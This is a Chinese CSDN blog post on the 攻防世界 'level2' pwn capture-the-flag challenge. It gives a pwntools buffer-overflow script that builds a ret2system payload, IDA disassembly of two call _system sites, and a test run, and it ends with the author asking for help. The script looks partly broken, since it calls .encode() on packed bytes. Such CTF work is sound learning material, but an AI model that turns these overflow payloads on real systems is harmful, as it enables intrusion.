

【攻防世界 level2】

原创

xwhyds 于 2022-01-21 21:49:41 发布 2592 收藏

文章标签: [安全](#) [web安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/xwhyds/article/details/122629355>

版权

攻防世界 level2

优秀题解

exp 脚本

```
from pwn import*

#p=remote("111.200.241.244",58836)
p=process("./21")

payload=('a'*0x8c).encode()+p32(0x0804845C)+p32(0x0804A024).encode()
#payload='a'*(0x8c)+p32(0x804A038)+p32(0)+p32(0x804A024).decode('unicode_escape')
p.sendline(payload)
p.interactive()
```

发现了两个 `call _system` 指令, 陷入了取哪个 `_system` 的地址的问题, 但至少不是 `_system` 的 start address.

```
-----
.text:0804844B vulnerable_function proc near          ; CODE XREF: main+1
.text:0804844B
.text:0804844B buf                                = byte ptr -88h
.text:0804844B
.text:0804844B ; __unwind {
.text:0804844B     push    ebp
.text:0804844C     mov     ebp, esp
.text:0804844E     sub     esp, 88h
.text:08048454     sub     esp, 0Ch
.text:08048457     push   offset command ; "echo Input:"
.text:0804845C     call   _system          CSDN @xwhyds
-----
```

```

.text:08048480 main                proc near                ; DATA XREF: _start+17↑o
.text:08048480
.text:08048480 var_4              = dword ptr -4
.text:08048480 argc                = dword ptr  8
.text:08048480 argv                = dword ptr  0Ch
.text:08048480 envp                = dword ptr  10h
.text:08048480
.text:08048480 ; __unwind {
.text:08048480     lea     ecx, [esp+4]
.text:08048484     and     esp, 0FFFFFF0h
.text:08048487     push   dword ptr [ecx-4]
.text:0804848A     push   ebp
.text:0804848B     mov    ebp, esp
.text:0804848D     push   ecx
.text:0804848E     sub    esp, 4
.text:08048491     call   vulnerable_function
.text:08048496     sub    esp, 0Ch
.text:08048499     push   offset aEchoHelloWorld ; "echo 'Hello Worl
.text:0804849E     call   _system
.text:080484A3     add    esp, 10h

```

CSDN @xwhyys

但就执行顺序来看，图一先于图二。

```

xwh@ubuntu:~$ ./21
Input:
www
Hello World!
xwh@ubuntu:~$

```

希望各位大神指点一二啊!!! 《.+》